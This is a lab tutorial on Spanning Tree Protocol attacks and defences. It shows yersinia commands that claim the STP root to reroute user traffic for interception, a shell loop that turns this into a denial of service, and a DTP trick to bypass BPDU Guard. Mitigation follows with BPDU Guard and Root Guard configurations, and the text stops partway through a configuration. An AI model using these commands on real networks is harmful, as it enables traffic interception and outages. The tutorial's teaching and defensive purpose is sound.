<p><span class="lb-small"><a href="#topology.png" id="topology.png-thumb" title="Click to enlarge"><img alt="STP lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/16/spanning-tree-protocol-exploitation/topology.png"/></a></span></p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>The support of <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> in the <abbr title="IOS On Unix"><span class="caps">IOU</span></abbr> images I tested was very buggy, <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> port
state was ignored and frames systematically forwarded, resulting in
broadcast storms in case of topology loops.</p>
<p>Due to this the topology must be modified (removal of the direct link
between <span class="caps">ESW2</span> and <span class="caps">ESW3</span>) and the <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr> lab won’t work with <abbr title="IOS On Unix"><span class="caps">IOU</span></abbr>.</p>
</div>
<h3 id="initial-state"><a class="toclink" href="#initial-state">Initial state</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="partial" title="Partial"><span class="sr-only">Partial</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The Spanning Tree Protocol first elects a root device, and once a root has been
elected all other devices calculate the shortest path to this root.</p>
<p>During the initial <a href="/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/#router-based-ethernet-switches" title="Introduction: router-based ethernet switches">configuration stage</a>, we explicitly set <span class="caps">SW1</span> to act
as the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> root on all VLANs, building the following spanning tree:</p>
<p><span class="lb-small"><a href="#before.png" id="before.png-thumb" title="Click to enlarge"><img alt="Initial spanning tree" src="https://www.whitewinterwolf.com/posts/2017/10/16/spanning-tree-protocol-exploitation/before.png"/></a></span></p>
<p>The direct link between <em><span class="caps">ESW2</span></em> and <em><span class="caps">ESW3</span></em> is not used, instead all data is
directly raised to the core switch <em><span class="caps">SW1</span></em>.
This is indeed the most efficient way for end-users to reach the inter-<span class="caps">VLAN</span>
router and from there the <em>Servers</em> <span class="caps">VLAN</span>.</p>
<p>We can check the initial situation through the command-line:</p>
<ul>
<li>
<p><em><span class="caps">ESW1</span></em> is indeed the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> root for all VLANs and all its ports are in
forwarding state.
We can also note <em><span class="caps">ESW1</span></em> <span class="caps">MAC</span> address:</p>
<div class="codehilite"><pre><span class="gp">ESW1#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="go"> Address c202.0a3e.0000</span>
<span class="hll"><span class="go"> This bridge is the root</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 8192</span>
<span class="hll"><span class="go"> Address c202.0a3e.0000</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="go">FastEthernet1/0 128.41 128 19 FWD 0 8192 c202.0a3e.0000 128.41</span>
<span class="go">FastEthernet1/1 128.42 128 19 FWD 0 8192 c202.0a3e.0000 128.42</span>
<span class="go">FastEthernet1/2 128.43 128 19 FWD 0 8192 c202.0a3e.0000 128.43</span>
<span class="go">FastEthernet1/3 128.44 128 19 FWD 0 8192 c202.0a3e.0000 128.44</span>
<span class="go">FastEthernet1/4 128.45 128 19 FWD 0 8192 c202.0a3e.0000 128.45</span>
<span class="gp">ESW1#</span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Depending on the device, you may or may not need to use the <code>brief</code>
keyword.</p>
</div>
</li>
<li>
<p><em><span class="caps">ESW2</span></em> shows the correct root <span class="caps">MAC</span> address and uses the expected port to
reach it.
All its interfaces are in forwarding state:</p>
<div class="codehilite"><pre><span class="gp">ESW2#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="hll"><span class="go"> Address c202.0a3e.0000</span>
</span><span class="go"> Cost 19</span>
<span class="hll"><span class="go"> Port 41 (FastEthernet1/0)</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 32768</span>
<span class="go"> Address c203.0a4d.0000</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="go">FastEthernet1/0 128.41 128 19 FWD 0 8192 c202.0a3e.0000 128.42</span>
<span class="go">FastEthernet1/1 128.42 128 19 FWD 19 32768 c203.0a4d.0000 128.42</span>
<span class="go">FastEthernet1/2 128.43 128 19 FWD 19 32768 c203.0a4d.0000 128.43</span>
<span class="gp">ESW2#</span>
</pre></div>
</li>
<li>
<p><em><span class="caps">ESW3</span></em> shows the correct root <span class="caps">MAC</span> address and uses the expected port to
reach it.
The redundant link to <em><span class="caps">ESW2</span></em> is blocked:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="hll"><span class="go"> Address c202.0a3e.0000</span>
</span><span class="go"> Cost 19</span>
<span class="hll"><span class="go"> Port 41 (FastEthernet1/0)</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 32768</span>
<span class="go"> Address c204.0a5c.0000</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="go">FastEthernet1/0 128.41 128 19 FWD 0 8192 c202.0a3e.0000 128.43</span>
<span class="hll"><span class="go">FastEthernet1/1 128.42 128 19 BLK 19 32768 c203.0a4d.0000 128.42</span>
</span><span class="go">FastEthernet1/2 128.43 128 19 FWD 19 32768 c204.0a5c.0000 128.43</span>
<span class="gp">ESW3#</span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Depending on devices’ <span class="caps">MAC</span> address, the redundant link may be blocked
either on <em><span class="caps">ESW2</span></em> or <em><span class="caps">ESW3</span></em> side.</p>
</div>
</li>
</ul>
<h3 id="attacks"><a class="toclink" href="#attacks">Attacks</a></h3>
<h4 id="stp-topology-change"><a class="toclink" href="#stp-topology-change"><abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> topology change</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="partial" title="Partial"><span class="sr-only">Partial</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The attacker may find it convenient to raise himself to the position of
<abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> root.
This can easily be done using a single command:</p>
<div class="codehilite"><pre><span class="gp">backbox@backbox:~$</span> sudo yersinia stp -attack 4
<span class="go">Warning: interface ens3 selected as the default one</span>
<span class="go"><*> Starting NONDOS attack Claiming Root Role...</span>
<span class="go"><*> Press any key to stop the attack <*></span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Keep the command running as long as you need to stay the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> root.</p>
<p>Once you stop the command, the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> negotiation will automatically restore
the tree in its initial state.</p>
</div>
<p>Leave a few seconds for the topology change to become effective, then check
back the devices configuration:</p>
<ul>
<li>
<p><em><span class="caps">ESW1</span></em> is not the root node on <span class="caps">VLAN</span> 1 anymore:</p>
<div class="codehilite"><pre><span class="gp">ESW1#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="go"> Address c202.0a3d.0000</span>
<span class="go"> Cost 57</span>
<span class="hll"><span class="go"> Port 43 (FastEthernet1/2)</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 8192</span>
<span class="go"> Address c202.0a3e.0000</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="go">FastEthernet1/0 128.41 128 19 FWD 57 8192 c202.0a3e.0000 128.41</span>
<span class="go">FastEthernet1/1 128.42 128 19 FWD 57 8192 c202.0a3e.0000 128.42</span>
<span class="go">FastEthernet1/2 128.43 128 19 FWD 38 32768 c204.0a5c.0000 128.41</span>
<span class="go">FastEthernet1/3 128.44 128 19 FWD 57 8192 c202.0a3e.0000 128.44</span>
<span class="go">FastEthernet1/4 128.45 128 19 FWD 57 8192 c202.0a3e.0000 128.45</span>
<span class="gp">ESW1#</span>
</pre></div>
<p>Note that in the current case per-<span class="caps">VLAN</span> spanning tree (<abbr title="Per VLAN Spanning Tree"><span class="caps">PVST</span></abbr>) is used,
therefore only <span class="caps">VLAN</span> 1 is affected by this attack:</p>
<div class="codehilite"><pre><span class="gp">ESW1#</span><span class="k">show</span> spanning-tree root brief
<span class="go"> Root Hello Max Fwd</span>
<span class="go">Vlan Root ID Cost Time Age Delay Root Port</span>
<span class="go">---------------- -------------------- ----- ---- ---- ----- ----------------</span>
<span class="hll"><span class="go">VLAN1 8192 c202.0a3d.0000 57 2 20 15 FastEthernet1/2</span>
</span><span class="go">VLAN2 8192 c202.0a3e.0001 0 2 20 15 This bridge is root</span>
<span class="go">VLAN3 8192 c202.0a3e.0002 0 2 20 15 This bridge is root</span>
<span class="gp">ESW1#</span>
</pre></div>
<p>This may vary depending on the devices used and their configuration.</p>
</li>
<li>
<p><em><span class="caps">ESW2</span></em> flipped to the attacker’s fake root bridge, it now uses the
previously disabled link to contact it and blocks the link to the
legitimate root bridge:</p>
<div class="codehilite"><pre><span class="gp">ESW2#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="hll"><span class="go"> Address c202.0a3d.0000</span>
</span><span class="go"> Cost 57</span>
<span class="hll"><span class="go"> Port 42 (FastEthernet1/1)</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 32768</span>
<span class="go"> Address c203.0a4d.0000</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="hll"><span class="go">FastEthernet1/0 128.41 128 19 BLK 57 8192 c202.0a3e.0000 128.42</span>
</span><span class="go">FastEthernet1/1 128.42 128 19 FWD 38 32768 c204.0a5c.0000 128.42</span>
<span class="go">FastEthernet1/2 128.43 128 19 FWD 57 32768 c203.0a4d.0000 128.43</span>
<span class="gp">ESW2#</span>
</pre></div>
</li>
<li>
<p><em><span class="caps">ESW3</span></em> now considers that the root bridge is connected to the
attacker’s port:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span> brief
<span class="go">VLAN1</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 8192</span>
<span class="go"> Address c202.0a3d.0000</span>
<span class="go"> Cost 38</span>
<span class="hll"><span class="go"> Port 43 (FastEthernet1/2)</span>
</span><span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 32768</span>
<span class="go"> Address c204.0a5c.0000</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300</span>
<span class="go">Interface Designated</span>
<span class="go">Name Port ID Prio Cost Sts Cost Bridge ID Port ID</span>
<span class="go">-------------------- ------- ---- ----- --- ----- -------------------- -------</span>
<span class="go">FastEthernet1/0 128.41 128 19 FWD 38 32768 c204.0a5c.0000 128.41</span>
<span class="go">FastEthernet1/1 128.42 128 19 FWD 38 32768 c204.0a5c.0000 128.42</span>
<span class="go">FastEthernet1/2 128.43 128 19 FWD 19 32768 c204.0a5b.0000 128.43</span>
<span class="gp">ESW3#</span>
</pre></div>
</li>
</ul>
<p>Our little command turned the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> topology that way:</p>
<p><span class="lb-small"><a href="#after.png" id="after.png-thumb" title="Click to enlarge"><img alt="Altered spanning tree" src="https://www.whitewinterwolf.com/posts/2017/10/16/spanning-tree-protocol-exploitation/after.png"/></a></span></p>
<p>Notice that the previously disabled redundant link between <em><span class="caps">ESW2</span></em> and <em><span class="caps">ESW3</span></em> is
now in use.
In fact, during this attack,
<em>
attacker’s nearest switches now take advantage of any redundant link to
optimize the connection to the attacker.
</em></p>
<ul>
<li>
<p>Previously, if the attacker wanted to intercept users communications,
the data would have had to go back and forth through <em><span class="caps">ESW1</span></em>.
Depending on <em><span class="caps">ESW1</span></em> location and load, this may cause speed and reliability
issues (both for the attacker and the users: users connectivity must be
maintained to have something to intercept).</p>
<p>Here is the initial route that users’ intercepted data should have taken:</p>
<div class="codehilite"><pre>User_1 > ESW2 > ESW1 > ESW3 > Attacker > ESW3 > ESW1 > R1 > ESW1 > ESW5 > Server_1
</pre></div>
<p>After the topology change, the attacker becomes closer to intercepted users
and the interception process doesn’t increase <em><span class="caps">SW1</span></em> load anymore:</p>
<div class="codehilite"><pre>User_1 > ESW3 > Attacker > ESW3 > ESW1 > R1 > ESW1 > ESW5 > Server_1
</pre></div>
</li>
<li>
<p>The same way, if the attacker wants to flood users devices, he can now do
it without involving <em><span class="caps">ESW1</span></em> at all making the flood more reliable,
effective and focused.</p>
</li>
</ul>
<h4 id="stp-based-denial-of-service"><a class="toclink" href="#stp-based-denial-of-service"><abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr>-based denial-of-service</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>A spanning tree takes time to converge, and during this phase phase no data is
forwarded by any switch from the tree.</p>
<p>A basic <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr> attack therefore consists in regularly sending topology
notification changes, resetting the convergence process before it has any
chance to finish.</p>
<p>Sadly, Yersinia’s <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr> attack goes a way too brutal route by sending tens of
thousands notifications per second (as fast as the link and local <span class="caps">CPU</span> can handle).
I think this is nonsense as this doesn’t even let enough the time for the
notification to propagate through the tree and doesn’t seem to achieve anything.</p>
<p>It is however possible to reuse the same command as above wrapped in a bit of
shell voodoo:</p>
<div class="codehilite"><pre><span class="nv">delay</span><span class="o">=</span>7<span class="p">;</span> <span class="k">while</span> sleep <span class="nv">$delay</span><span class="p">;</span> <span class="k">do</span> sleep <span class="nv">$delay</span> <span class="p">|</span> sudo yersinia stp -attack 4<span class="p">;</span> <span class="k">done</span>
</pre></div>
<p>This commands claims the root role, waits a little, gives the root role back to
the legitimate root bridge, waits a little, and loops by claiming the root role
again.
This lets enough time to allow the root election process to be initiated without
leaving enough time to let it terminate, thus resulting in an effective <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr>:</p>
<p><span class="lb-small"><a href="#dos.png" id="dos.png-thumb" title="Click to enlarge"><img alt="User_1 cannot contact Server_1 anymore" src="https://www.whitewinterwolf.com/posts/2017/10/16/spanning-tree-protocol-exploitation/dos.png"/></a></span></p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>As seen previously, <abbr title="Per VLAN Spanning Tree"><span class="caps">PVST</span></abbr> being used, each <span class="caps">VLAN</span> has its own spanning tree.
The effect of this <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr>-based <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr> attacks effect is therefore limited to
the current <span class="caps">VLAN</span> (but as we will see in later posts the attacker may
be able to change his current <span class="caps">VLAN</span>).</p>
<p>While members of the <em>Users</em> <span class="caps">VLAN</span> have lost connectivity with <em>Server_1</em>,
members of the <em>Admins</em> <span class="caps">VLAN</span> can still access it without any issue.</p>
</div>
<h3 id="mitigation"><a class="toclink" href="#mitigation">Mitigation</a></h3>
<p>There are two measures you can take to mitigate this attack.
They are not exclusive, in fact it is recommended to apply both as they
complement themselves well.</p>
<h4 id="bpdu-guard-access-layer"><a class="toclink" href="#bpdu-guard-access-layer"><abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard (access layer)</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The <a href="https://www.cisco.com/c/en/us/support/docs/lan-switching/spanning-tree-protocol/10586-65.html" rel="external" title="Spanning Tree PortFast BPDU Guard Enhancement (Cisco)"><abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard</a> feature comes with PortFast:</p>
<ul>
<li>
<p>PortFast allows to bypass some steps in the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> convergence process to
start to forward frames sooner and reduce unavailability.
In particular, PortFast bypasses topology loop checks and must therefore be
enabled only on ports where no switch will ever be connected: access ports.</p>
</li>
<li>
<p><abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard accompanies PortFast by actively checking that no <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr>
(the packets carrying <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages) are received on such ports.
Would a <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> be received on a protected port, <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard will
shut it down, either temporarily or definitively depending on the configuration.</p>
</li>
</ul>
<p>The most convenient way is to first enable PortFast’s BPDUGuard feature,
and then enable PortFast on the desired ports:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="hll"><span class="gp">ESW3(config)#</span><span class="k">spanning-tree</span> portfast bpduguard
</span><span class="gp">ESW3(config)#</span><span class="k">interface</span><span class="s"> fastEthernet 1/2</span>
<span class="hll"><span class="gp">ESW3(config-if)#</span><span class="k">spanning-tree</span> portfast
</span><span class="go">%Warning: portfast should only be enabled on ports connected to a single host.</span>
<span class="go">Connecting hubs, concentrators, switches, bridges, etc.to this interface</span>
<span class="go">when portfast is enabled, can cause temporary spanning tree loops.</span>
<span class="go">Use with CAUTION</span>
<span class="go">%Portfast has been configured on FastEthernet1/2 but will only</span>
<span class="go">have effect when the interface is in a non-trunking mode.</span>
<span class="gp">ESW3(config-if)#</span><span class="nb">end</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:20:45.131: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">ESW3#</span><span class="k">copy</span> running-config startup-config
<span class="go">Destination filename [startup-config]?</span>
<span class="go">Building configuration...</span>
<span class="go">[OK]</span>
<span class="gp">ESW3#</span>
</pre></div>
<p>Attempting to reproduce the attack now shuts the attacker’s port down:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:04:36.279: %SPANTREE-2-RX_PORTFAST: Received BPDU on PortFast enabled port. Disabling FastEthernet1/2.</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:04:36.279: %PM-4-ERR_DISABLE: bpduguard error detected on Fa1/2, putting Fa1/2 in err-disable state</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:04:37.283: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/2, changed state to down</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:04:38.315: %LINK-3-UPDOWN: Interface FastEthernet1/2, changed state to down</span>
<span class="gp">ESW3#</span>
<span class="gp">ESW3#</span><span class="k">show</span> interfaces status err-disabled
<span class="go">Port Name Status Reason</span>
<span class="hll"><span class="go">Fa1/2 err-disabled bpduguard</span>
</span><span class="gp">ESW3#</span>
</pre></div>
<p>By default, ports disabled this way must be manually reinitialized using the
<code>shut</code> and <code>no shut</code> commands:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="gp">ESW3(config)#</span><span class="k">interface</span><span class="s"> fastEthernet 1/2</span>
<span class="hll"><span class="gp">ESW3(config-if)#</span><span class="k">shutdown</span>
</span><span class="gp">ESW3(config-if)#</span>
<span class="gt">*Mar 1 00:12:59.087: %LINK-5-CHANGED: Interface FastEthernet1/2, changed state to administratively down</span>
<span class="hll"><span class="gp">ESW3(config-if)#</span><span class="ow">no </span><span class="k">shutdown</span>
</span><span class="gp">ESW3(config-if)#</span>
<span class="gt">*Mar 1 00:13:09.343: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/2, changed state to up</span>
<span class="gp">ESW3(config-if)#</span><span class="nb">end</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:13:13.707: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">ESW3#</span>
</pre></div>
<p>It is however possible to set a timeout after which the port will be
automatically restored:</p>
<div class="codehilite"><pre><span class="gp">ESW3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="hll"><span class="gp">ESW3(config)#</span><span class="k">errdisable</span> recovery cause bpduguard
</span><span class="gp">ESW3(config)#</span><span class="c1">! By default the timeout is set to 300 seconds (= 5 minutes), to change it:</span>
<span class="hll"><span class="gp">ESW3(config)#</span><span class="k">errdisable</span> recovery interval <span class="s">30</span>
</span><span class="gp">ESW3(config)#</span><span class="nb">end</span>
<span class="gp">ESW3#</span>
<span class="gt">*Mar 1 00:32:08.995: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">ESW3#</span><span class="k">show</span> errdisable recovery
<span class="go">ErrDisable Reason Timer Status</span>
<span class="go">----------------- --------------</span>
<span class="go">udld Disabled</span>
<span class="go">bpduguard Enabled</span>
<span class="go">rootguard Disabled</span>
<span class="go">pagp-flap Disabled</span>
<span class="go">dtp-flap Disabled</span>
<span class="go">link-flap Disabled</span>
<span class="go">Timer interval: 30 seconds</span>
<span class="go">Interfaces that will be enabled at the next timeout:</span>
<span class="gp">ESW3#</span>
</pre></div>
<h5 id="circumventing-bpdu-guard"><a class="toclink" href="#circumventing-bpdu-guard">Circumventing <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard</a></h5>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>Depending on the devices used and their configuration, it may be possible for
an attacker to bypass <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard protection.</p>
<p>As previously stated, <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard relies on PortFast, and when enabling PortFast
on a port <span class="caps">IOS</span> produces a warning stating that:</p>
<blockquote>
<p>Portfast […] will only have effect when the interface is in a
non-trunking mode.</p>
</blockquote>
<p>The consequence of this is that an attacker who has the ability to enable
trunk mode on the port has the ability to disable Portfast, and therefore
to disable <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard altogether.</p>
<p>We will cover <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr>-based exploits in a later post, but here just notice that
simply letting <code>yersinia dtp -attack 1</code> running in one terminal should
effectively disable <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard and make all the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> attacks described in this
post working again as-is.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>This affects only <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr>-aware devices, so <strong><em>not</em></strong> router-based switches.</p>
</div>
<h4 id="root-guard-distribution-layer"><a class="toclink" href="#root-guard-distribution-layer">Root Guard (distribution layer)</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The <a href="https://www.cisco.com/c/en/us/support/docs/lan-switching/spanning-tree-protocol/10588-74.html" rel="external" title="Spanning Tree Protocol Root Guard Enhancement (Cisco)">Root Guard</a> feature prevents the ports where it is enabled to ever
become root ports, ie. ports used to reach the root bridge.</p>
<p>Root Guard has two main differences compared to <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard:</p>
<ul>
<li>
<p>Root Guard does not prevent <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> communication on the ports where it is
enabled: it only reacts <abbr title="Bridge Protocol Data Units">BPDUs</abbr> which would lead to the election of a root
behind protected ports.</p>
</li>
<li>
<p>The port connectivity (forwarding state) is automatically re-enabled as
soon as no more illegal <abbr title="Bridge Protocol Data Units">BPDUs</abbr> are received on the port.</p>
</li>
</ul>
<p>Root Guard can be enabled in various positions in the topology:</p>
<ul>
<li>
<p>It can be enabled on the access layer switches to ensure that access ports
are not used to maliciously trigger a topology change.
However, <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard might be more appropriate here.</p>
</li>
<li>
<p>It can be enabled on intermediary bridges, this may be useful in case of
shared administrative control.</p>
</li>
<li>
<p>If you have a fixed root bridge you can apply Root Guard directly to it.
This is what we will do in our lab topology.</p>
</li>
</ul>
<p>Root Guard can be applied on distribution layer switches while applying <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr>
guard on access layer switches.
This provides a layered security approach both against malicious and
inadvertent actions which would result in a <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> topology change.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>A violation of the RootGuard policy results in the port being temporarily
set to “root-inconsistent” state and not forwarding any frame.
Measure any impact this may have in terms of potential networking outages.
In particular, don’t enable it on your infrastructure switches without
properly enabling <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> guard at the access layer.
Otherwise in attacker’s hands Root Guard will become a perfect <abbr title="Denial-Of-Service"><span class="caps">DOS</span></abbr> tool.</p>
</div>
<p>Here we enable Root Guard on all ports of the legitimate <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> root:</p>
<div class="codehilite"><pre><span class="gp">IOU1#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="gp">IOU1(config)#</span><span class="k">interface</span> range<span class="s"> ethernet 0/0 - 3, ethernet 1/0 - 3</span>
<span class="hll"><span class="gp">IOU1(config-if-range)#</span><span class="k">spanning-tree</span> guard root
</span><span class="gp">IOU1(config-if-range)#</span>
<span class="gt">*Oct 16 11:26:22.214: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet0/0.</span>
<span class="gt">*Oct 16 11:26:22.215: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet0/1.</span>
